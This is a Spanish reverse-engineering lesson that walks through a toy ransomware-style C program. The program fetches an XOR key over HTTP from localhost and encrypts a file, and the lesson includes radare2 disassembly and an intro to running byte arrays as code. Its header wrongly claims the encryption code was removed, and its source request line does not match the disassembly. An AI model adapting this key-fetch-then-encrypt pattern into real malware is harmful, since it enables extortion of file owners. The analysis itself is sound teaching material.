Analizar la recepción de datos HTTP y distinguir datos, código y permisos de memoria.
Edición parcial: diferencias con el original
Se excluyen la implementación de cifrado de archivos con una clave remota y los programas que descargan y ejecutan shellcode. Se conserva el análisis del intercambio HTTP y de los datos recibidos.
Prepara el análisis con el agente
Comparte esta lección y sus evidencias con tu agente. Pídele que te ayude a organizar la lectura y que justifique cada conclusión con una observación concreta.
Estoy estudiando «HTTP y código generado» del curso de Lobera. Ayúdame a interpretar las funciones, estructuras y capturas de esta lección. Distingue las observaciones del caso de las hipótesis y cita la evidencia que sostiene cada conclusión.
El análisis se apoya en las evidencias disponibles para este caso. Preparación y funcionamiento.
Peticiones GET con sockets UNIX
Los sockets son la base de la red en cualquier sistema operativo. Puedes estar seguro de que muchas aplicaciones que usas a diario trabajan con sockets internamente, aunque llamen a funciones personalizadas.
Cualquier protocolo de red concreto como HTTP o DNS se puede «emular» o, mejor dicho, construir sobre sockets. Solo necesitamos conocer su funcionamiento: el formato, las cabeceras específicas, los tamaños, el esquema petición-respuesta, etc., para implementarlo con sockets. Al final solo tendremos que crear un buffer, rellenar sus bytes correctamente y llamar a write() sobre el socket correspondiente.
Hoy veremos un protocolo muy común: HTTP. Este protocolo se usa para la navegación web, nada nuevo, pero también se usa intensivamente en malware para implementar mecanismos de comando y control.
Piensa, por ejemplo, en un ransomware típico: sí, puede traer una clave criptográfica codificada dentro del binario, pero en ese caso no será muy útil ni peligroso, porque un reverser podría extraer fácilmente la clave del binario y descifrar los archivos. Pero ¿y si la clave llega por la red bajo ciertas condiciones y después deja de estar disponible? Entonces la única posibilidad pasa por interceptar todo el tráfico, lo cual puede ser difícil si el programa usa HTTPS, o por depurar y leer la memoria del programa mientras cifra, algo que el usuario medio probablemente no hará…
En el siguiente ejemplo he escrito un programa muy sencillo que obtiene una clave de 10 dígitos de un servidor remoto mediante una petición HTTP GET y luego la usa para cifrar con XOR un archivo de texto en disco.
Debo decir que no te animo a escribir ransomware ni ningún tipo de malware; podrías enfrentarte a consecuencias legales si lo haces.
Aquí está el código:
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdlib.h>
#define BSIZE 256
#define KSIZE 11
// Lame sample routine for key extraction from an http response
void getKey(char buf[], char key[]){
int i = 0;
int kg = 0;
int ki = 0;
while(i < BSIZE && kg == 0){
if(buf[i]== '<' && buf[i+1] == 'k' && buf[i+2] == '>' ){
for(int j=i+3; j < KSIZE+i+2; j++){
key[ki] = buf[j];
ki = ki+1;
}
kg = 1;
}
i = i+1;
}
}
// Lame sample routine for byte array xor
void cryp(char key[], char buf[]){
for(int i = 0; i < KSIZE; i ++){
buf[i] ^= key[i];
}
}
// open a file xor the content and dump it to another file
void crypFile(char file[], char key[]){
int infile, outfile;
char buff[KSIZE];
infile = open (file, O_RDONLY , 0644);
outfile = open ("crypted.cry", O_WRONLY | O_CREAT, 0644);
while(read(infile, &buff, KSIZE)){
cryp(key, buff);
write(outfile, &buff, KSIZE);
}
close (infile);
close (outfile);
}
int main(int argc, char *argv[]) {
int sockfd, portno, n;
struct sockaddr_in serv_addr;
struct hostent *server;
char key[KSIZE];
char request[] = "GET /sh HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";
char buffer[BSIZE];
portno = 80;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
server = gethostbyname("127.0.0.1");
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) {
exit(1);
}
bzero(buffer,BSIZE);
n = write(sockfd, request, strlen(request));
bzero(buffer,BSIZE);
n = read(sockfd, buffer, BSIZE);
getKey(buffer, key);
crypFile("sample.txt",key);
return 0;
}
Como ves, el algoritmo es sencillo: primero pedimos la clave al servidor remoto, el servidor devuelve una respuesta con datos sobre el estado de la petición como cabeceras HTTP y similares, y después el cuerpo contiene la clave marcada con la etiqueta k. Así que necesitamos parsearla: getKey extrae la clave y crypFile la usa para cifrar el archivo con XOR en fragmentos del tamaño de la clave.
Empezamos con la función main como siempre:
[0x55fa6e273bc4]> pdf
; DATA XREF from entry0 @ 0x55fa6e2738dd
┌ 614: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_1b0h @ rbp-0x1b0
│ ; var int64_t var_1a4h @ rbp-0x1a4
│ ; var int64_t var_194h @ rbp-0x194
│ ; var int64_t var_190h @ rbp-0x190
│ ; var int64_t var_18ch @ rbp-0x18c
│ ; var int64_t var_188h @ rbp-0x188
│ ; var int64_t var_180h @ rbp-0x180
│ ; var int64_t var_17eh @ rbp-0x17e
│ ; var int64_t var_16bh @ rbp-0x16b
│ ; var int64_t var_160h @ rbp-0x160
│ ; var int64_t var_158h @ rbp-0x158
│ ; var int64_t var_150h @ rbp-0x150
│ ; var int64_t var_148h @ rbp-0x148
│ ; var int64_t var_140h @ rbp-0x140
│ ; var int64_t var_138h @ rbp-0x138
│ ; var int64_t var_130h @ rbp-0x130
│ ; var int64_t var_128h @ rbp-0x128
│ ; var int64_t var_120h @ rbp-0x120
│ ; var int64_t var_118h @ rbp-0x118
│ ; var int64_t var_114h @ rbp-0x114
│ ; var int64_t var_110h @ rbp-0x110
│ ; var int64_t var_8h @ rbp-0x8
│ ; arg int argc @ rdi
│ ; arg char **argv @ rsi
│ 0x55fa6e273bc4 55 push rbp
│ 0x55fa6e273bc5 4889e5 mov rbp, rsp
│ 0x55fa6e273bc8 4881ecb00100. sub rsp, 0x1b0
│ 0x55fa6e273bcf 89bd5cfeffff mov dword [var_1a4h], edi ; argc
│ 0x55fa6e273bd5 4889b550feff. mov qword [var_1b0h], rsi ; argv
│ 0x55fa6e273bdc 64488b042528. mov rax, qword fs:[0x28]
│ 0x55fa6e273be5 488945f8 mov qword [var_8h], rax
│ 0x55fa6e273be9 31c0 xor eax, eax
│ 0x55fa6e273beb 48b847455420. movabs rax, 0x79656b2f20544547 ; 'GET /key'
│ 0x55fa6e273bf5 48ba2e747874. movabs rdx, 0x545448207478742e ; '.txt HTT'
│ 0x55fa6e273bff 488985a0feff. mov qword [var_160h], rax
│ 0x55fa6e273c06 488995a8feff. mov qword [var_158h], rdx
│ 0x55fa6e273c0d 48b8502f312e. movabs rax, 0x550a0d312e312f50
│ 0x55fa6e273c17 48ba7365722d. movabs rdx, 0x6e6567412d726573 ; 'ser-Agen'
│ 0x55fa6e273c21 488985b0feff. mov qword [var_150h], rax
│ 0x55fa6e273c28 488995b8feff. mov qword [var_148h], rdx
│ 0x55fa6e273c2f 48b8743a206e. movabs rax, 0x2e302f636e203a74 ; 't: nc/0.'
│ 0x55fa6e273c39 48ba302e310d. movabs rdx, 0x736f480a0d312e30
│ 0x55fa6e273c43 488985c0feff. mov qword [var_140h], rax
│ 0x55fa6e273c4a 488995c8feff. mov qword [var_138h], rdx
│ 0x55fa6e273c51 48b8743a2031. movabs rax, 0x302e373231203a74 ; 't: 127.0'
│ 0x55fa6e273c5b 48ba2e302e31. movabs rdx, 0x63410a0d312e302e
│ 0x55fa6e273c65 488985d0feff. mov qword [var_130h], rax
│ 0x55fa6e273c6c 488995d8feff. mov qword [var_128h], rdx
│ 0x55fa6e273c73 48b863657074. movabs rax, 0x2f2a203a74706563 ; 'cept: */'
│ 0x55fa6e273c7d 488985e0feff. mov qword [var_120h], rax
│ 0x55fa6e273c84 c785e8feffff. mov dword [var_118h], 0xd0a0d2a
│ 0x55fa6e273c8e 66c785ecfeff. mov word [var_114h], 0xa
│ 0x55fa6e273c97 c7856cfeffff. mov dword [var_194h], 0x50 ; 'P' ; 80
│ 0x55fa6e273ca1 ba00000000 mov edx, 0
│ 0x55fa6e273ca6 be01000000 mov esi, 1
│ 0x55fa6e273cab bf02000000 mov edi, 2
│ 0x55fa6e273cb0 e8ebfbffff call sym.imp.socket ; int socket(int domain, int type, int protocol)
│ 0x55fa6e273cb5 898570feffff mov dword [var_190h], eax
│ 0x55fa6e273cbb 488d3dfe0100. lea rdi, str.127.0.0.1 ; 0x55fa6e273ec0 ; "127.0.0.1"
│ 0x55fa6e273cc2 e879fbffff call sym.imp.gethostbyname
│ 0x55fa6e273cc7 48898578feff. mov qword [var_188h], rax
│ 0x55fa6e273cce 488d8580feff. lea rax, [var_180h]
│ 0x55fa6e273cd5 be10000000 mov esi, 0x10 ; 16
│ 0x55fa6e273cda 4889c7 mov rdi, rax
│ 0x55fa6e273cdd e88efbffff call sym.imp.bzero ; void bzero(void *s, size_t n)
│ 0x55fa6e273ce2 66c78580feff. mov word [var_180h], 2
│ 0x55fa6e273ceb 488b8578feff. mov rax, qword [var_188h]
│ 0x55fa6e273cf2 8b4014 mov eax, dword [rax + 0x14]
│ 0x55fa6e273cf5 4863d0 movsxd rdx, eax
│ 0x55fa6e273cf8 488b8578feff. mov rax, qword [var_188h]
│ 0x55fa6e273cff 488b4018 mov rax, qword [rax + 0x18]
│ 0x55fa6e273d03 488b00 mov rax, qword [rax]
│ 0x55fa6e273d06 488d8d80feff. lea rcx, [var_180h]
│ 0x55fa6e273d0d 4883c104 add rcx, 4
│ 0x55fa6e273d11 4889ce mov rsi, rcx
│ 0x55fa6e273d14 4889c7 mov rdi, rax
│ 0x55fa6e273d17 e834fbffff call sym.imp.bcopy
│ 0x55fa6e273d1c 8b856cfeffff mov eax, dword [var_194h]
│ 0x55fa6e273d22 0fb7c0 movzx eax, ax
│ 0x55fa6e273d25 89c7 mov edi, eax
│ 0x55fa6e273d27 e8e4faffff call sym.imp.htons
│ 0x55fa6e273d2c 66898582feff. mov word [var_17eh], ax
│ 0x55fa6e273d33 488d8d80feff. lea rcx, [var_180h]
│ 0x55fa6e273d3a 8b8570feffff mov eax, dword [var_190h]
│ 0x55fa6e273d40 ba10000000 mov edx, 0x10 ; 16
│ 0x55fa6e273d45 4889ce
De nuevo, esto es muy similar a lo que vimos en el tutorial anterior.
El programa empieza cargando la cadena de la petición GET.
│ 0x55fa6e273beb 48b847455420. movabs rax, 0x79656b2f20544547 ; 'GET /key'
│ 0x55fa6e273bf5 48ba2e747874. movabs rdx, 0x545448207478742e ; '.txt HTT'
│ 0x55fa6e273bff 488985a0feff. mov qword [var_160h], rax
│ 0x55fa6e273c06 488995a8feff. mov qword [var_158h], rdx
│ 0x55fa6e273c0d 48b8502f312e. movabs rax, 0x550a0d312e312f50
│ 0x55fa6e273c17 48ba7365722d. movabs rdx, 0x6e6567412d726573 ; 'ser-Agen'
│ 0x55fa6e273c21 488985b0feff. mov qword [var_150h], rax
│ 0x55fa6e273c28 488995b8feff. mov qword [var_148h], rdx
│ 0x55fa6e273c2f 48b8743a206e. movabs rax, 0x2e302f636e203a74 ; 't: nc/0.'
│ 0x55fa6e273c39 48ba302e310d. movabs rdx, 0x736f480a0d312e30
│ 0x55fa6e273c43 488985c0feff. mov qword [var_140h], rax
│ 0x55fa6e273c4a 488995c8feff. mov qword [var_138h], rdx
│ 0x55fa6e273c51 48b8743a2031. movabs rax, 0x302e373231203a74 ; 't: 127.0'
│ 0x55fa6e273c5b 48ba2e302e31. movabs rdx, 0x63410a0d312e302e
│ 0x55fa6e273c65 488985d0feff. mov qword [var_130h], rax
│ 0x55fa6e273c6c 488995d8feff. mov qword [var_128h], rdx
│ 0x55fa6e273c73 48b863657074. movabs rax, 0x2f2a203a74706563 ; 'cept: */'
│ 0x55fa6e273c7d 488985e0feff. mov qword [var_120h], rax
│ 0x55fa6e273c84 c785e8feffff. mov dword [var_118h], 0xd0a0d2a
│ 0x55fa6e273c8e 66c785ecfeff. mov word [var_114h], 0xa
│ 0x55fa6e273c97 c7856cfeffff. mov dword [var_194h], 0x50 ; 'P' ; 80
La cadena se carga correctamente en memoria:
[0x55fa6e273cb0]> pxw @ 0x7ffc9a81e5c0
0x7ffc9a81e5c0 0x20544547 0x79656b2f 0x7478742e 0x54544820 GET /key.txt HTT
0x7ffc9a81e5d0 0x2e312f50 0x550a0d31 0x2d726573 0x6e656741 P/1.1..User-Agen
0x7ffc9a81e5e0 0x6e203a74 0x2e302f63 0x0d312e30 0x736f480a t: nc/0.0.1..Hos
0x7ffc9a81e5f0 0x31203a74 0x302e3732 0x312e302e 0x63410a0d t: 127.0.0.1..Ac
0x7ffc9a81e600 0x74706563 0x2f2a203a 0x0d0a0d2a 0x0000000a cept: */*.......
Luego viene la creación del socket y la inicialización mediante connect.
0x55fa6e273cb0 b e8ebfbffff call sym.imp.socket ; int socket(int domain, int type, int protocol)
│ 0x55fa6e273cb5 898570feffff mov dword [var_190h], eax
│ 0x55fa6e273cbb 488d3dfe0100. lea rdi, str.127.0.0.1 ; 0x55fa6e273ec0 ; "127.0.0.1"
│ 0x55fa6e273cc2 e879fbffff call sym.imp.gethostbyname
│ 0x55fa6e273cc7 48898578feff. mov qword [var_188h], rax
│ 0x55fa6e273cce 488d8580feff. lea rax, [var_180h]
│ 0x55fa6e273cd5 be10000000 mov esi, 0x10 ; 16
│ 0x55fa6e273cda 4889c7 mov rdi, rax
Así como la inicialización del buffer con bzero, nada especial que comentar.
Después, la lectura del servidor:
│ 0x55fa6e273dd5 e856faffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ;-- rip:
│ 0x55fa6e273dda b 898574feffff mov dword [var_18ch], eax
Tras el read, vemos que la clave ha sido entregada:
[0x55fa6e273dda]> pxw @ 0x7ffc9a81e610
0x7ffc9a81e610 0x50545448 0x312e312f 0x30303220 0x0d4b4f20 HTTP/1.1 200 OK.
0x7ffc9a81e620 0x7461440a 0x54203a65 0x202c7568 0x4a203430 .Date: Thu, 04 J
0x7ffc9a81e630 0x32206e75 0x20303230 0x333a3131 0x39323a31 un 2020 11:31:29
0x7ffc9a81e640 0x544d4720 0x65530a0d 0x72657672 0x7041203a GMT..Server: Ap
0x7ffc9a81e650 0x65686361 0x342e322f 0x2039322e 0x75625528 ache/2.4.29 (Ubu
0x7ffc9a81e660 0x2975746e 0x614c0a0d 0x4d2d7473 0x6669646f ntu)..Last-Modif
0x7ffc9a81e670 0x3a646569 0x64655720 0x3330202c 0x6e754a20 ied: Wed, 03 Jun
0x7ffc9a81e680 0x32303220 0x38302030 0x3a36303a 0x47203434 2020 08:06:44 G
0x7ffc9a81e690 0x0a0d544d 0x67615445 0x3122203a 0x61352d32 MT..ETag: "12-5a
0x7ffc9a81e6a0 0x38393237 0x33303432 0x22353031 0x63410a0d 72982403105"..Ac
0x7ffc9a81e6b0 0x74706563 0x6e61522d 0x3a736567 0x74796220 cept-Ranges: byt
0x7ffc9a81e6c0 0x0a0d7365 0x746e6f43 0x2d746e65 0x676e654c es..Content-Leng
0x7ffc9a81e6d0 0x203a6874 0x0a0d3831 0x746e6f43 0x2d746e65 th: 18..Content-
0x7ffc9a81e6e0 0x65707954 0x6574203a 0x702f7478 0x6e69616c Type: text/plain
0x7ffc9a81e6f0 0x0a0d0a0d 0x303e6b3c 0x34333231 0x38373635 ....<k>012345678
0x7ffc9a81e700 0x6b2f3c39 0x00000a3e 0x00000000 0x00000000 9</k>...........
Pero como hemos dicho, el servidor incluyó cabeceras HTTP e información innecesaria. Procedemos a parsear la clave:
[0x55fa6e2739ca]> pdf
; CALL XREF from main @ 0x55fa6e273df4
;-- rip:
┌ 198: sym.getKey (int64_t arg1, int64_t arg2);
│ ; var int64_t var_20h @ rbp-0x20
│ ; var int64_t var_18h @ rbp-0x18
│ ; var int64_t var_10h @ rbp-0x10
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ ; var int64_t var_4h @ rbp-0x4
│ ; arg int64_t arg1 @ rdi
│ ; arg int64_t arg2 @ rsi
│ 0x55fa6e2739ca 55 push rbp
│ 0x55fa6e2739cb 4889e5 mov rbp, rsp
│ 0x55fa6e2739ce 48897de8 mov qword [var_18h], rdi ; arg1
│ 0x55fa6e2739d2 488975e0 mov qword [var_20h], rsi ; arg2
│ 0x55fa6e2739d6 c745f0000000. mov dword [var_10h], 0
│ 0x55fa6e2739dd c745f4000000. mov dword [var_ch], 0
│ 0x55fa6e2739e4 c745f8000000. mov dword [var_8h], 0
│ ┌─< 0x55fa6e2739eb e98a000000 jmp 0x55fa6e273a7a
│ ┌──> 0x55fa6e2739f0 8b45f0 mov eax, dword [var_10h]
│ ╎│ 0x55fa6e2739f3 4863d0 movsxd rdx, eax
│ ╎│ 0x55fa6e2739f6 488b45e8 mov rax, qword [var_18h]
│ ╎│ 0x55fa6e2739fa 4801d0 add rax, rdx
│ ╎│ 0x55fa6e2739fd 0fb600 movzx eax, byte [rax]
│ ╎│ 0x55fa6e273a00 3c3c cmp al, 0x3c ; 60
│ ┌───< 0x55fa6e273a02 7572 jne 0x55fa6e273a76
│ │╎│ 0x55fa6e273a04 8b45f0 mov eax, dword [var_10h]
│ │╎│ 0x55fa6e273a07 4898 cdqe
│ │╎│ 0x55fa6e273a09 488d5001 lea rdx, [rax + 1]
│ │╎│ 0x55fa6e273a0d 488b45e8 mov rax, qword [var_18h]
│ │╎│ 0x55fa6e273a11 4801d0 add rax, rdx
│ │╎│ 0x55fa6e273a14 0fb600 movzx eax, byte [rax]
│ │╎│ 0x55fa6e273a17 3c6b cmp al, 0x6b ; 107
│ ┌────< 0x55fa6e273a19 755b jne 0x55fa6e273a76
│ ││╎│ 0x55fa6e273a1b 8b45f0 mov eax, dword [var_10h]
│ ││╎│ 0x55fa6e273a1e 4898 cdqe
│ ││╎│ 0x55fa6e273a20 488d5002 lea rdx, [rax + 2]
│ ││╎│ 0x55fa6e273a24 488b45e8 mov rax, qword [var_18h]
│ ││╎│ 0x55fa6e273a28 4801d0 add rax, rdx
│ ││╎│ 0x55fa6e273a2b 0fb600 movzx eax, byte [rax]
│ ││╎│ 0x55fa6e273a2e 3c3e cmp al, 0x3e ; 62
│ ┌─────< 0x55fa6e273a30 7544 jne 0x55fa6e273a76
│ │││╎│ 0x55fa6e273a32 8b45f0 mov eax, dword [var_10h]
│ │││╎│ 0x55fa6e273a35 83c003 add eax, 3
│ │││╎│ 0x55fa6e273a38 8945fc mov dword [var_4h], eax
│ ┌──────< 0x55fa6e273a3b eb27 jmp 0x55fa6e273a64
│ ┌───────> 0x55fa6e273a3d 8b45fc mov eax, dword [var_4h]
│ ╎││││╎│ 0x55fa6e273a40 4863d0 movsxd rdx, eax
│ ╎││││╎│ 0x55fa6e273a43 488b45e8 mov rax, qword [var_18h]
│ ╎││││╎│ 0x55fa6e273a47 4801d0 add rax, rdx
│ ╎││││╎│ 0x55fa6e273a4a 8b55f8 mov edx, dword [var_8h]
│ ╎││││╎│ 0x55fa6e273a4d 4863ca movsxd rcx, edx
│ ╎││││╎│ 0x55fa6e273a50 488b55e0 mov rdx, qword [var_20h]
│ ╎││││╎│ 0x55fa6e273a54 4801ca add rdx, rcx
│ ╎││││╎│ 0x55fa6e273a57 0fb600 movzx eax, byte [rax]
│ ╎││││╎│ 0x55fa6e273a5a 8802 mov byte [rdx], al
│ ╎││││╎│ 0x55fa6e273a5c 8345f801 add dword [var_8h], 1
│ ╎││││╎│ 0x55fa6e273a60 8345fc01 add dword [var_4h], 1
│ ╎││││╎│ ; CODE XREF from sym.getKey @ 0x55fa6e273a3b
│ ╎└──────> 0x55fa6e273a64 8b45f0 mov eax, dword [var_10h]
│ ╎ │││╎│ 0x55fa6e273a67 83c00d add eax, 0xd ; 13
│ ╎ │││╎│ 0x55fa6e273a6a 3945fc cmp dword [var_4h], eax
│ └───────< 0x55fa6e273a6d 7cce jl 0x55fa6e273a3d
│ │││╎│ 0x55fa6e273a6f c745f4010000. mov dword [var_ch], 1
│ └└└───> 0x55fa6e273a76 8345f001 add dword [var_10h], 1
│ ╎│ ; CODE XREF from sym.getKey @ 0x55fa6e2739eb
│ ╎└─> 0x55fa6e273a7a 817df0ff0000. cmp dword [var_10h], 0xff
│ ╎┌─< 0x55fa6e273a81 7f0a jg 0x55fa6e273a8d
│ ╎│ 0x55fa6e273a83 837df400 cmp dword [var_ch], 0
│ └──< 0x55fa6e273a87 0f8463ffffff je 0x55fa6e2739f0
│ └─> 0x55fa6e273a8d 90 nop
│ 0x55fa6e273a8e 5d pop rbp
└ 0x55fa6e273a8f c3 ret
[0x55fa6e2739ca]>
La función getKey es un poco caótica, pero centrémonos en lo relevante.
│ ╎│ 0x55fa6e2739fd 0fb600 movzx eax, byte [rax]
│ ╎│ 0x55fa6e273a00 3c3c cmp al, 0x3c ; 60
│ ┌───< 0x55fa6e273a02 7572 jne 0x55fa6e273a76
│ │╎│ 0x55fa6e273a04 8b45f0 mov eax, dword [var_10h]
│ │╎│ 0x55fa6e273a07 4898 cdqe
│ │╎│ 0x55fa6e273a09 488d5001 lea rdx, [rax + 1]
│ │╎│ 0x55fa6e273a0d 488b45e8 mov rax, qword [var_18h]
│ │╎│ 0x55fa6e273a11 4801d0 add rax, rdx
│ │╎│ 0x55fa6e273a14 0fb600 movzx eax, byte [rax]
│ │╎│ 0x55fa6e273a17 3c6b cmp al, 0x6b ; 107
│ ┌────< 0x55fa6e273a19 755b jne 0x55fa6e273a76
│ ││╎│ 0x55fa6e273a1b 8b45f0 mov eax, dword [var_10h]
│ ││╎│ 0x55fa6e273a1e 4898 cdqe
│ ││╎│ 0x55fa6e273a20 488d5002 lea rdx, [rax + 2]
│ ││╎│ 0x55fa6e273a24 488b45e8 mov rax, qword [var_18h]
│ ││╎│ 0x55fa6e273a28 4801d0 add rax, rdx
│ ││╎│ 0x55fa6e273a2b 0fb600 movzx eax, byte [rax]
│ ││╎│ 0x55fa6e273a2e 3c3e cmp al, 0x3e ; 62
│ ┌─────< 0x55fa6e273a30 7544 jne 0x55fa6e273a76
El programa entra en un bucle recorriendo el buffer carácter a carácter y compara el carácter actual con 60 = '<'. Luego compara los dos caracteres siguientes con 'k' y '>'. Itera diez veces extrayendo la clave, que se actualizará tras el retorno a través de local_var_10h.
[0x55fa6e273bc4]> pxw @ 0x7ffc9a81e5b5
0x7ffc9a81e5b5 0x33323130 0x37363534 0x47003938 0x2f205445 0123456789.GET /
Después la función de cifrado. No entraré en mucho detalle porque ya la vimos en tutoriales anteriores de este curso. crypfile abre el archivo y lo recorre fragmento a fragmento leyendo, cifrando con XOR y escribiendo.
0x55fa6e273b38 e823fdffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x55fa6e273b3d 8945e8 mov dword [var_18h], eax
│ ┌─< 0x55fa6e273b40 eb2e jmp 0x55fa6e273b70
│ ┌──> 0x55fa6e273b42 488d55ed lea rdx, [var_13h]
│ ╎│ 0x55fa6e273b46 488b45d0 mov rax, qword [var_30h]
│ ╎│ 0x55fa6e273b4a 4889d6 mov rsi, rdx
│ ╎│ 0x55fa6e273b4d 4889c7 mov rdi, rax
│ ╎│ 0x55fa6e273b50 e83bffffff call sym.cryp
│ ╎│ 0x55fa6e273b55 488d4ded lea rcx, [var_13h]
│ ╎│ 0x55fa6e273b59 8b45e8 mov eax, dword [var_18h]
│ ╎│ 0x55fa6e273b5c ba0b000000 mov edx, 0xb ; 11
│ ╎│ 0x55fa6e273b61 4889ce mov rsi, rcx
│ ╎│ 0x55fa6e273b64 89c7 mov edi, eax
│ ╎│ 0x55fa6e273b66 b800000000 mov eax, 0
│ ╎│ 0x55fa6e273b6b e870fcffff call sym.imp.write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
│ ╎│ ; CODE XREF from sym.crypFile @ 0x55fa6e273b40
│ ╎└─> 0x55fa6e273b70 488d4ded lea rcx, [var_13h]
│ ╎ 0x55fa6e273b74 8b45e4 mov eax, dword [var_1ch]
│ ╎ 0x55fa6e273b77 ba0b000000 mov edx, 0xb ; 11
│ ╎ 0x55fa6e273b7c 4889ce mov rsi, rcx
│ ╎ 0x55fa6e273b7f 89c7 mov edi, eax
│ ╎ 0x55fa6e273b81 b800000000 mov eax, 0
│ ╎ 0x55fa6e273b86 e8a5fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ╎ 0x55fa6e273b8b 85c0 test eax, eax
│ └──< 0x55fa6e273b8d 75b3 jne 0x55fa6e273b42
Y cryp recorre carácter a carácter durante KSIZE caracteres y realiza el XOR con la clave.
│ ┌──> 0x00000aa5 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x00000aa8 4863d0 movsxd rdx, eax
│ ╎│ 0x00000aab 488b45e0 mov rax, qword [var_20h]
│ ╎│ 0x00000aaf 4801d0 add rax, rdx
│ ╎│ 0x00000ab2 0fb630 movzx esi, byte [rax]
│ ╎│ 0x00000ab5 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x00000ab8 4863d0 movsxd rdx, eax
│ ╎│ 0x00000abb 488b45e8 mov rax, qword [var_18h]
│ ╎│ 0x00000abf 4801d0 add rax, rdx
│ ╎│ 0x00000ac2 0fb608 movzx ecx, byte [rax]
│ ╎│ 0x00000ac5 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x00000ac8 4863d0 movsxd rdx, eax
│ ╎│ 0x00000acb 488b45e0 mov rax, qword [var_20h]
│ ╎│ 0x00000acf 4801d0 add rax, rdx
│ ╎│ 0x00000ad2 31ce xor esi, ecx
│ ╎│ 0x00000ad4 89f2 mov edx, esi
│ ╎│ 0x00000ad6 8810 mov byte [rax], dl
│ ╎│ 0x00000ad8 8345fc01 add dword [var_4h], 1
│ ╎│ ; CODE XREF from sym.cryp @ 0xaa3
│ ╎└─> 0x00000adc 837dfc0a cmp dword [var_4h], 0xa
│ └──< 0x00000ae0 7ec3 jle 0xaa5
Pasemos ahora al siguiente tema.
Descarga y ejecución de código en memoria
Introducción al shellcode
Esta entrega no trata sobre la escritura de shellcode; lo veremos en detalle más adelante en el curso. Aquí solo vamos a presentar un concepto nuevo vinculado al tema de sockets que estamos tratando.
Empecemos con este programa muy sencillo:
#include <stdio.h>
void hello(){
char h[] = "hello world";
printf(h);
}
void main(){
hello();
}
Contiene un par de funciones. Una es la clásica función main, la otra simplemente imprime «hello world». Inspeccionemos esta segunda:
[0x7f4653774090]> s sym.hello
[0x5561e0c6c6aa]> pdf
; CALL XREF from main @ 0x5561e0c6c707
┌ 84: sym.hello ();
│ ; var int64_t var_14h @ rbp-0x14
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_8h @ rbp-0x8
│ 0x5561e0c6c6aa 55 push rbp
│ 0x5561e0c6c6ab 4889e5 mov rbp, rsp
│ 0x5561e0c6c6ae 4883ec20 sub rsp, 0x20
│ 0x5561e0c6c6b2 64488b042528. mov rax, qword fs:[0x28]
│ 0x5561e0c6c6bb 488945f8 mov qword [var_8h], rax
│ 0x5561e0c6c6bf 31c0 xor eax, eax
│ 0x5561e0c6c6c1 48b868656c6c. movabs rax, 0x6f77206f6c6c6568 ; 'hello wo'
│ 0x5561e0c6c6cb 488945ec mov qword [var_14h], rax
│ 0x5561e0c6c6cf c745f4726c64. mov dword [var_ch], 0x646c72 ; 'rld'
│ 0x5561e0c6c6d6 488d45ec lea rax, [var_14h]
│ 0x5561e0c6c6da 4889c7 mov rdi, rax
│ 0x5561e0c6c6dd b800000000 mov eax, 0
│ 0x5561e0c6c6e2 e899feffff call sym.imp.printf ; int printf(const char *format)
│ 0x5561e0c6c6e7 90 nop
│ 0x5561e0c6c6e8 488b45f8 mov rax, qword [var_8h]
│ 0x5561e0c6c6ec 644833042528. xor rax, qword fs:[0x28]
│ ┌─< 0x5561e0c6c6f5 7405 je 0x5561e0c6c6fc
│ │ 0x5561e0c6c6f7 e874feffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ └─> 0x5561e0c6c6fc c9 leave
└ 0x5561e0c6c6fd c3 ret
[0x5561e0c6c6aa]>
Como puedes ver, todo está de algún modo «autocontenido» dentro de esta función. La cadena se «genera» y carga dentro de la función, los valores originales de registros y pila relativos al bloque de código que llama se guardan y restauran, y las llamadas (a printf) referencian símbolos que serán «comunes» en sistemas Unix…
La cadena se autogenera en memoria. ¿Habría alguna forma de autogenerar código real en memoria de una manera similar?
Pues sí.
Si miras el desensamblado, verás los opcodes justo en la segunda columna. Esa es la esencia del programa binario, es lo que la «CPU» ve y procesa. Así que si conseguimos preparar un buffer con el conjunto correcto de opcodes en memoria y mover el puntero de ejecución allí, el sentido común nos dice que se ejecutarán como código real. Profundizaremos en este tema más adelante en el curso, pero creo que ya captas la idea principal.
Veamos un ejemplo sencillo y después volvamos a nuestro hello world.
#include <stdio.h>
#include<string.h>
#include <stdint.h>
const uint8_t b2[4] = {
0x90, 0x90, 0x90, 0x90
};
void main(){
int (*func)();
func = (int (*)()) b2;
(int)(*func)();
}
Este programa declara un array de bytes (hexadecimales) y después declara una función «mágica» que básicamente sitúa el puntero de instrucciones al inicio del array. Veámoslo dentro de r2, tendrá más sentido.
[0x557a8fb295fa]> pdf
; DATA XREF from entry0 @ 0x557a8fb2950d
┌ 33: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_8h @ rbp-0x8
│ 0x557a8fb295fa 55 push rbp
│ 0x557a8fb295fb 4889e5 mov rbp, rsp
│ 0x557a8fb295fe 4883ec10 sub rsp, 0x10
│ 0x557a8fb29602 488d059b0000. lea rax, obj.b2 ; 0x557a8fb296a4
│ 0x557a8fb29609 488945f8 mov qword [var_8h], rax
│ 0x557a8fb2960d 488b55f8 mov rdx, qword [var_8h]
│ 0x557a8fb29611 b800000000 mov eax, 0
│ 0x557a8fb29616 ffd2 call rdx
│ 0x557a8fb29618 90 nop
│ 0x557a8fb29619 c9 leave
└ 0x557a8fb2961a c3 ret
